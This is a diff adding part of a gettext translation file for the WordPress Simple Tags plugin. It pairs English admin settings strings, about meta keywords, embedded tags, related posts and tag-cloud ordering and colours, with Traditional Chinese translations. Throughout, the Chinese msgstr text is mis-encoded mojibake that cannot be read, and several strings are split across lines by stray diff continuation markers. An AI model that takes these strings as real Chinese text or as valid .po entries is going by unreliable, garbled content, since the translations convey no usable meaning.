+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "èªåå°ééµå­å å°é éŠäž­ïŒå€§éšä»œçäœæ¯äž»é¡éœææ¯æŽïŒäœäžŠéå
+šéšïŒïŒéäºééµå­ææåæè¢«æå°åŒææäœ¿çšã<br /><strong>è­ŠåïŒ</strong> åŠæå·²å®è£ååçš \"All in One SEO Pack\" å€æçè©±ïŒæ­€åèœå°åçšã"
+
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:356
+#: /2.7/inc/simple-tags.admin.php:420
+msgid "Always add these keywords:"
+msgstr "çžœæ¯å å
+¥éäºééµå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:357
+#: /2.7/inc/simple-tags.admin.php:421
+msgid "Max keywords display:"
+msgstr "æå€é¡¯ç€ºééµå­æžéïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.7/inc/simple-tags.admin.php:422
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "åŠæèŠåšHTMLé éŠäž­é¡¯ç€ºææçééµå­ïŒæšå¿
+é èš­å®çºé¶ïŒ0ïŒã"
+
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.7/inc/simple-tags.admin.php:425
+msgid "Use embedded tags:"
+msgstr "äœ¿çšåµå
+¥åŒæšç±€ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.7/inc/simple-tags.admin.php:426
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "éåéååèœæäœ¿åŸWordPressåšå²å­åé¡¯ç€ºæç« æå»å°æŸåµå
+¥åŒæšç±€ïŒéçš®æšç±€æè¢«æšç€ºæ<code>[tags]åéæš£åéæš£[/tags]</code>ïŒäžŠäžç¶æç« å²å­æïŒæè¢«å å
+¥æç« è£¡é¢ïŒäœäžæé¡¯ç€ºåºäŸã"
+
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.7/inc/simple-tags.admin.php:427
+msgid "Prefix for embedded tags:"
+msgstr "åµå
+¥åŒæšç±€çåç¶ŽïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.7/inc/simple-tags.admin.php:428
+msgid "Suffix for embedded tags:"
+msgstr "åµå
+¥åŒæšç±€çåŸç¶ŽïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:367
+#: /2.7/inc/simple-tags.admin.php:431
+msgid "Automatically display tags list into feeds"
+msgstr "èªååšfeedè£¡é¢é¡¯ç€ºæšç±€æž
+å®"
+
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:368
+#: /2.7/inc/simple-tags.admin.php:432
+msgid "Automatically display tags list into post content:"
+msgstr "èªååšæç« å
+§å®¹è£¡é¢é¡¯ç€ºæšç±€æž
+å®"
+
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:370
+#: /2.5/inc/simple-tags.admin.php:394
+#: /2.7/inc/simple-tags.admin.php:434
+#: /2.7/inc/simple-tags.admin.php:458
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; ä»»äœå°æ¹éœäžèŠïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:395
+#: /2.7/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:459
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; åšç¶²èªå feed äž"
+
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.7/inc/simple-tags.admin.php:436
+#: /2.7/inc/simple-tags.admin.php:460
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; åªåšæšçç¶²èªäž"
+
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.7/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:461
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; åªé¡¯ç€ºåšæšçéŠé "
+
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:374
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.7/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:462
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; åªé¡¯ç€ºåšæšçå®çšé é¢ïŒå®ç¯èåé ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:399
+#: /2.7/inc/simple-tags.admin.php:439
+#: /2.7/inc/simple-tags.admin.php:463
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; åªé¡¯ç€ºåšæšçå®ç¯æç« é é¢"
+
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:376
+#: /2.5/inc/simple-tags.admin.php:400
+#: /2.7/inc/simple-tags.admin.php:440
+#: /2.7/inc/simple-tags.admin.php:464
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; åªé¡¯ç€ºåšæšçåé é é¢"
+
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:378
+#: /2.7/inc/simple-tags.admin.php:442
+msgid "Post tag separator string:"
+msgstr "æç« æšç±€åéç¬ŠèïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:379
+#: /2.7/inc/simple-tags.admin.php:443
+msgid "Text to display before tags list:"
+msgstr "åšæšç±€æž
+å®åèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:380
+#: /2.7/inc/simple-tags.admin.php:444
+msgid "Text to display after tags list:"
+msgstr "åšæšç±€æž
+å®åŸèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:381
+#: /2.7/inc/simple-tags.admin.php:445
+msgid "Max tags display:"
+msgstr "æå€é¡¯ç€ºæšç±€æžéïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:382
+#: /2.7/inc/simple-tags.admin.php:446
+msgid "You must set zero (0) for display all tags."
+msgstr "èŠé¡¯ç€ºæææšç±€è«èš­å®çºé¶ïŒ0ïŒã"
+
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:383
+#: /2.7/inc/simple-tags.admin.php:447
+msgid "Include categories in result ?"
+msgstr "åšçµæäž­å
+å«åé¡åçš±ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:384
+#: /2.5/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:448
+#: /2.7/inc/simple-tags.admin.php:555
+msgid "Tag link format:"
+msgstr "æšç±€é£çµæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:385
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:492
+#: /2.7/inc/simple-tags.admin.php:449
+#: /2.7/inc/simple-tags.admin.php:477
+#: /2.7/inc/simple-tags.admin.php:505
+#: /2.7/inc/simple-tags.admin.php:523
+#: /2.7/inc/simple-tags.admin.php:556
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "æšå¯ä»¥åš <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ç·äžèªªææä»¶</a> äž­æŸå°æšèšèªæ³åèªªæã"
+
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:386
+#: /2.7/inc/simple-tags.admin.php:450
+msgid "Text to display if no tags found:"
+msgstr "åŠææŸäžå°æšç±€ïŒèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:417
+#: /2.5/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:451
+#: /2.7/inc/simple-tags.admin.php:481
+#: /2.7/inc/simple-tags.admin.php:510
+#: /2.7/inc/simple-tags.admin.php:568
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>é²éäœ¿çš</strong>:"
+
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:388
+#: /2.7/inc/simple-tags.admin.php:452
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšåŠå <code>st_the_tags()</code> åèœäžæš£çèªæ³äŸèš­å®é¡¯ç€ºæ¹åŒãè©³çŽ°æ
+åœ¢è«åé±<a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">èªªææä»¶</a>ã"
+
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:391
+#: /2.7/inc/simple-tags.admin.php:455
+msgid "Automatically display related posts into feeds"
+msgstr "èªååšfeedè£¡é¢é¡¯ç€ºçžéæç« "
+
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:392
+#: /2.7/inc/simple-tags.admin.php:456
+msgid "Automatically display related posts into post content"
+msgstr "èªååšæç« å
+§å®¹è£¡é¢é¡¯ç€ºçžéæç« "
+
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:402
+#: /2.7/inc/simple-tags.admin.php:466
+msgid "Related Posts Order:"
+msgstr "çžéæç« æåºïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.7/inc/simple-tags.admin.php:468
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; èŒèçæç« æåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.7/inc/simple-tags.admin.php:469
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; èŒæ°çæç« æåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:406
+#: /2.7/inc/simple-tags.admin.php:470
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; æå°å
+±åæšç±€çæç« æåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:407
+#: /2.7/inc/simple-tags.admin.php:471
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; æå€å
+±åæšç±€çæç« æåšåé¢ïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:408
+#: /2.5/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:473
+#: /2.5/inc/simple-tags.admin.php:481
+#: /2.7/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:490
+#: /2.7/inc/simple-tags.admin.php:537
+#: /2.7/inc/simple-tags.admin.php:545
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; äŸç
+§å­æ¯é åºæå"
+
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:409
+#: /2.5/inc/simple-tags.admin.php:427
+#: /2.5/inc/simple-tags.admin.php:474
+#: /2.5/inc/simple-tags.admin.php:482
+#: /2.7/inc/simple-tags.admin.php:473
+#: /2.7/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:538
+#: /2.7/inc/simple-tags.admin.php:546
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; äŸç
+§å­æ¯é åºååæå"
+
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:410
+#: /2.5/inc/simple-tags.admin.php:428
+#: /2.5/inc/simple-tags.admin.php:475
+#: /2.7/inc/simple-tags.admin.php:474
+#: /2.7/inc/simple-tags.admin.php:492
+#: /2.7/inc/simple-tags.admin.php:539
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; éšæ©æå"
+
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.7/inc/simple-tags.admin.php:476
+msgid "Post link format:"
+msgstr "æç« é£çµæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.7/inc/simple-tags.admin.php:478
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "æå€é¡¯ç€ºçžéæç« æžéïŒïŒé èš­ïŒ5ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.7/inc/simple-tags.admin.php:479
+msgid "Enter the text to show when there is no related post:"
+msgstr "ç¶æ²æçžéæç« æèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:509
+#: /2.7/inc/simple-tags.admin.php:559
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "åšæž
+å®åèŠé¡¯ç€ºçæšé¡ïŒççœè¡šç€ºäžèŠæšé¡ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:418
+#: /2.7/inc/simple-tags.admin.php:482
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšåŠå <code>st_related_posts()</code> åèœäžæš£çèªæ³äŸèš­å®é¡¯ç€ºæ¹åŒãè©³çŽ°æ
+åœ¢è«åé±<a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">èªªææä»¶</a>ã"
+
+#: /2.3/inc/simple-tags.admin.php:378
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.7/inc/simple-tags.admin.php:485
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "æå€é¡¯ç€ºçžéæšç±€æžéïŒïŒé èš­ïŒ5ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:422
+#: /2.7/inc/simple-tags.admin.php:486
+msgid "Order related tags:"
+msgstr "çžéæšç±€æåºïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:471
+#: /2.5/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:535
+#: /2.7/inc/simple-tags.admin.php:543
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; æå·éçæåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:536
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; æç±éçæåšåé¢ïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:430
+#: /2.7/inc/simple-tags.admin.php:494
+msgid "Related tags type format:"
+msgstr "çžéæšç±€é¡åæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:516
+#: /2.7/inc/simple-tags.admin.php:552
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; é¡¯ç€ºäžåæ ŒåŒåçåè¡šæž
+å® (ul/li)ã"
+
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:497
+#: /2.7/inc/simple-tags.admin.php:517
+#: /2.7/inc/simple-tags.admin.php:553
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; å
+§åµé¡¯ç€ºïŒäžåè¡šïŒåªæçšdivé¡¯ç€ºçäžå¡ååïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:499
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "å»ºç«çžéæšç±€é£çµçæšç±€äº€éèè¯éæ¹åŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:501
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; æåå
+·æ \"æšç±€1\" <strong>æ</strong> \"æšç±€2\" çæç« ãïŒé èš­ïŒ "
+
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:502
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; æååæå
+·æ \"æšç±€1\" <strong>è</strong> \"æšç±€2\" çæç« ã"
+
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.7/inc/simple-tags.admin.php:504
+msgid "Related tags link format:"
+msgstr "çžéæšç±€é£çµæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:442
+#: /2.7/inc/simple-tags.admin.php:506
+msgid "Related tags separator:"
+msgstr "çžéæšç±€åéç¬ŠèïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:456
+#: /2.7/inc/simple-tags.admin.php:507
+#: /2.7/inc/simple-tags.admin.php:520
+msgid "Leave empty for list format."
+msgstr "ççœè¡šç€ºä»¥åè¡šæ ŒåŒé¡¯ç€ºã"
+
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:444
+#: /2.7/inc/simple-tags.admin.php:508
+msgid "Enter the text to show when there is no related tags:"
+msgstr "ç¶æ²æçžéæšç±€æèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:511
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšåŠå <code>st_related_tags()</code>åèœäžæš£çèªæ³äŸèš­å®é¡¯ç€ºæ¹åŒãè©³çŽ°æ
+åœ¢è«åé± <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">èªªææä»¶</a> ã"
+
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:449
+#: /2.7/inc/simple-tags.admin.php:513
+msgid "Remove related Tags"
+msgstr "ç§»é€çžéæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:514
+msgid "Remove related Tags type format:"
+msgstr "ç§»é€çžéæšç±€é¡åæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:455
+#: /2.7/inc/simple-tags.admin.php:519
+msgid "Remove related tags separator:"
+msgstr "ç§»é€çžéæšç±€åéç¬ŠèïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:457
+#: /2.7/inc/simple-tags.admin.php:521
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "ç¶æ²æçžéæšç±€æèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:458
+#: /2.7/inc/simple-tags.admin.php:522
+msgid "Remove related tags  link format:"
+msgstr "ç§»é€çžéæšç±€é£çµæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.7/inc/simple-tags.admin.php:526
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "<strong>&#8216;æšç±€éžææåº&#8217;</strong> è <strong>&#8216;æšç±€é¡¯ç€ºæåº&#8217;</strong> ä¹éæä»éºŒäžåå¢ïŒ<br />"
+
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:464
+#: /2.7/inc/simple-tags.admin.php:528
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;æšç±€éžææåº&#8217;</strong> æ¯ç¢çæšç±€é²æçç¬¬äžåæ­¥é©ïŒçžç¶æŒèéæšç±€çåäœã"
+
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.7/inc/simple-tags.admin.php:529
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;æšç±€é¡¯ç€ºæåº&#8217;</strong> åæ¯ç¬¬äºåæ­¥é©ïŒäžæŠéžå®æšç±€åŸïŒæšå¯ä»¥åšé¡¯ç€ºååå°æšç±€éæ°æåºã"
+
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:467
+#: /2.7/inc/simple-tags.admin.php:531
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>äŸåŠïŒ</strong>æšæ³èŠä»¥éšæ©æåºçæ¹åŒé¡¯ç€ºæç±éç100åæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:468
+#: /2.7/inc/simple-tags.admin.php:532
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "åŠæèŠæª¢çŽ¢æç±éç100åæšç±€ïŒé£éºŒæšå°±èŠå° &#8216;æšç±€éžææåº&#8217; èš­å®çº <strong>count-desc</strong> ïŒåŠæèŠé¡¯ç€ºéšæ©æåºçæšç±€é²ïŒé£éºŒæšå°±èŠå° &#8216;æšç±€é¡¯ç€ºæåº&#8217; èš­å®çº <strong>random</strong>ã"
+
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:469
+#: /2.7/inc/simple-tags.admin.php:533
+msgid "Order tags selection:"
+msgstr "æšç±€éžææåºïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:477
+#: /2.5/inc/simple-tags.widgets.php:155
+#: /2.7/inc/simple-tags.admin.php:541
+#: /2.7/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr "æšç±€é¡¯ç€ºæåºïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:544
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; æç±éçæåšåé¢"
+
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:483
+#: /2.7/inc/simple-tags.admin.php:547
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; éšæ©æåïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:485
+#: /2.7/inc/simple-tags.admin.php:549
+msgid "Include categories in tag cloud ?"
+msgstr "åšæšç±€é²äž­å
+å«é¡å¥ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:486
+#: /2.7/inc/simple-tags.admin.php:550
+msgid "Tags cloud type format:"
+msgstr "æšç±€é²é¡åæ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:493
+#: /2.7/inc/simple-tags.admin.php:557
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "æå€é¡¯ç€ºæšç±€æžéïŒïŒé èš­ïŒ45ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:494
+#: /2.7/inc/simple-tags.admin.php:558
+msgid "Enter the text to show when there is no tag:"
+msgstr "ç¶æ²ææšç±€æèŠé¡¯ç€ºçæå­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:560
+msgid "Most popular color:"
+msgstr "æç±éçæšç±€é¡è²ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:497
+#: /2.7/inc/simple-tags.admin.php:561
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "é¡è²æ¡çšåå
+­é²äœè²ç¢ŒïŒäžŠäžå¿
+é æ¯å®æŽçå
+­äœæžå­ïŒ#eee æ¯ #eeeeee çéèšç)"
+
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:498
+#: /2.7/inc/simple-tags.admin.php:562
+msgid "Least popular color:"
+msgstr "æå·éçæšç±€é¡è²ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:456
